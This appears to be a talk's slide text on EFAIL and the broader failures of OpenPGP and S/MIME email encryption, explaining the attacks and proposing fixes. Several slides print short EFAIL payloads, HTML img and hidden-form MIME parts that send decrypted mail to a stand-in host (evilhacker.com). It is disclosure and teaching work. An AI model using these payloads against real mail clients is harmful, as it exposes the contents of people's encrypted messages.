EFAIL and other Failures of E-Mail Encryption

Hanno Böck
https://hboeck.de/
Twitter: @hanno

Johnny 👦 wants to encrypt his emails.
With PGP, because he heard that is secure.

But PGP has the reputation of being difficult to use.

Actually... It's not called PGP any more, that was in the 90s. It's called OpenPGP these days.

So how do you install OpenPGP? 👦

OpenPGP is just the name of the protocol. The software is called GnuPG.

So how do I encrypt E-Mails with GnuPG? 👦

Well, GnuPG is only the underlying encryption software. You need an E-Mail application like Thunderbird and a plugin like Enigmail.

At this point most users will have given up

Let's assume 👦 hasn't given up and tries to install Enigmail

👦 is a bit scared

Why do you ask me again?
Also what is p≡p? Is that another thing I need? 👦

👦 is really scared now

Kleopatra? GPA? GpgOL? GpgEX? 👦

👦 is very confused

I'm not using Outlook. Have I installed the wrong plugin? 👦

👦 is now in panic

I've got the dirmngr.exe virus! 👦

Usability is not PGP's strength.

But is it secure?

With OpenPGP you can sign E-Mails

That was a fake

Security indicator in attacker-controlled space

Works even better in Kmail

How to fix this?

This isn't necessarily a good solution

In other areas (www) people want to move away from positive security indicators and make things secure by default

But now for some encryption

Mallory - the attacker - changed the "From" address

No binding between identity and encryption

Memory Hole

Mail headers are put into the encrypted part of the mail. (Used for encrypted subjects.)

Does Memory Hole prevent this attack?

No

Enigmail doesn't treat inconsistencies in headers as errors

Let's steal some passwords

What's going on here?

Web Key Service WKS

Enigmail automatically tries to fetch keys via WKS

If URL sends an HTTP authentication request Enigmail will show a login form

This is unfixed in the current version of Enigmail

EFAIL

EFAIL describes multiple attacks against encrypted E-Mail, affecting both OpenPGP and S/MIME

E-Mails can contain multiple parts (MIME)

[MIME part 1]
<img src="https://evilhacker.com/?content=

[MIME part 2]
[encrypted email]

[Mime part 3]
">

This embarrassingly simple attack worked on multiple mail clients

But of course when the EFAIL news broke this was already fixed

Except it wasn't fixed...

[MIME part 1]
<form action="https://evilhacker.com/" method="GET">
<textarea name="content">

[MIME part 2]
[encrypted email]

[Mime part 3]
</textarea>
<button type=submit style="visibility:hidden;
position:absolute;left:0px;right:0px;top:0px;bottom:0px;">
</form>

This still worked in Enigmail after EFAIL was public and various people claimed it was fixed and no big deal

This was easy, but there was another attack

Encryption modes

Block ciphers like AES need an encryption mode

Encryption and Integrity

Legacy encryption modes (CBC, CFB, OFB) guarantee secrecy of the data, but they don't provide protection against modification

Authenticated Encryption

Authenticated Encryption modes guarantee secrecy and integrity

Idea of authenticated encryption was introduced in 2000 (18 years ago).

GCM was standardized in 2007 (11 years ago).

So pretty new

Or maybe not so new

OpenPGP uses CFB

CFB is not authenticated

CFB malleability

If the attacker can predict a block in the plaintext then he can inject controlled content blocks (with garbage inbetween)

EFAIL attack

Modify message in a way that it will end up containing HTML that will send message content to the attacker

<img        a="[garbage]
" src="https://[garbage]
@efail.de/?msg=[msg]'

PGP uses compression, which makes this attack harder. EFAIL authors managed to make it work 1/3 of the time.

Authenticated encryption didn't exist when PGP was invented

Authenticated encryption and OpenPGP

OpenPGP uses a construction called Modification Detection Code (MDC).

Is that authenticated encryption?

CFB/MDC

The good news: While an ad-hoc construction, nobody has found any notable weakness in the CFB/MDC construction used by GnuPG.

CFB/MDC

The bad news: The MDC is optional. It can be stripped away.

But there's more

What exactly does authenticated encryption mean?

In such a scheme the encryption process applied by the sender takes the key and a plaintext to return a ciphertext, while the decryption process applied by the receiver takes the same key and a ciphertext to return either a plaintext or a special symbol indicating that it considers the ciphertext invalid or not authentic.
(Authenticated Encryption, Bellare, Namprempre, Asiacrypt 2000)

Authenticated Encryption

Decryption output is

• either the correct plaintext
• or an error

GnuPG streaming API

Decryption output is

• either the correct plaintext
• or the faulty plaintext and an error

Authenticated Encryption is an API issue.

A correct API should never output unauthenticated plaintext.

GnuPG "API"

GnuPG functionality is all implemented in an executable, not in a library.

This is unusual and fragile.

How to fix EFAIL in OpenPGP

Step 1:

Fix stupid bugs in mail clients.

How to fix EFAIL in OpenPGP

Step 2:

Deprecate unauthenticated CFB mode, require MDC.

How to fix EFAIL in OpenPGP

Step 3:

Never use plaintext before checking MDC.

How to fix EFAIL in OpenPGP

Step 4 / future:

Switch to a real authenticated encryption mode.

We also have to talk about S/MIME

There are two competing E-Mail encryption standards:

OpenPGP and S/MIME

There are historic reasons for this, no real reasons

EFAIL is much worse for S/MIME

EFAIL and S/MIME

• S/MIME uses CBC mode and no authentication at all
• No compression and predictable parts make attack easier and more reliable

S/MIME is cryptographically broken

The only secure use of S/MIME encryption is for pure text messages

(Nobody does that)

Any active content (HTML mails, attachments) in S/MIME is not secure

Why?

Fixing S/MIME would require defining a new encryption mode.

There can be no backwards compatibility. It'd have to be practically a whole new technology.

This could be good news

Having one E-Mail encryption standard instead of two would be progress

S/MIME may be insecure, but that doesn't mean people stop selling it

The S/MIME zombie

The S/MIME zombie

The S/MIME zombie

What does EFAIL mean for Cryptography in general?

If you combine unauthenticated encryption (CBC, CFB, ...) with any active content it can compromise the secrecy of the content

This isn't just about E-Mail encryption

Unauthenticated encryption of active content

Encrypted ZIP files, Word documents, PDFs, ...

But no new software would use unauthenticated encryption, right?

Unauthenticated CBC, because why not?

TÜV told us this is state of the art crypto

Lack of authenticated encryption

Padding Oracles, POODLE, Lucky Thirteen (all TLS), XML encryption broken, iMessage vulnerability, ...

All would've been avoided with proper authenticated encryption.

What about Signatures?

Some people think if you have signatures you don't need authenticated encryption.

This is wrong

[encrypted_for_alice]_sig(Bob)

Mallory changes [encrypted_for_alice] with EFAIL attack into [efail_attack_payload]

[efail_attack_payload]+sig(Bob)

Signature becomes invalid.

Mallory isn't stupid

[efail_attack_payload]+sig(Mallory)

This also works

[efail_attack_payload] (no signature)

Signatures don't replace Authenticated Encryption

There's no binding between the signature and the encryption key.

Is there any hope for encrypted E-Mail?

MTA-STS: Practical authenticated transport encryption for E-Mail

MTA-STS

TXT record _mta-sts.example.com

v=STSv1; id=policyv1

https://mta-sts.example.com/.well-known/mta-sts.txt

version: STSv1
mode: enforce
mx: mx.example.com
max_age: 604800

MTA-STS confuses DNS people a lot, because it's not how they used to do things

This is good news, because they used to do things that don't work in practice (DNSSEC... DANE...)

It's not end to end encryption, but it's progress

End-to-End E-Mail encryption is a mess and has problems on all layers

Thanks for listening!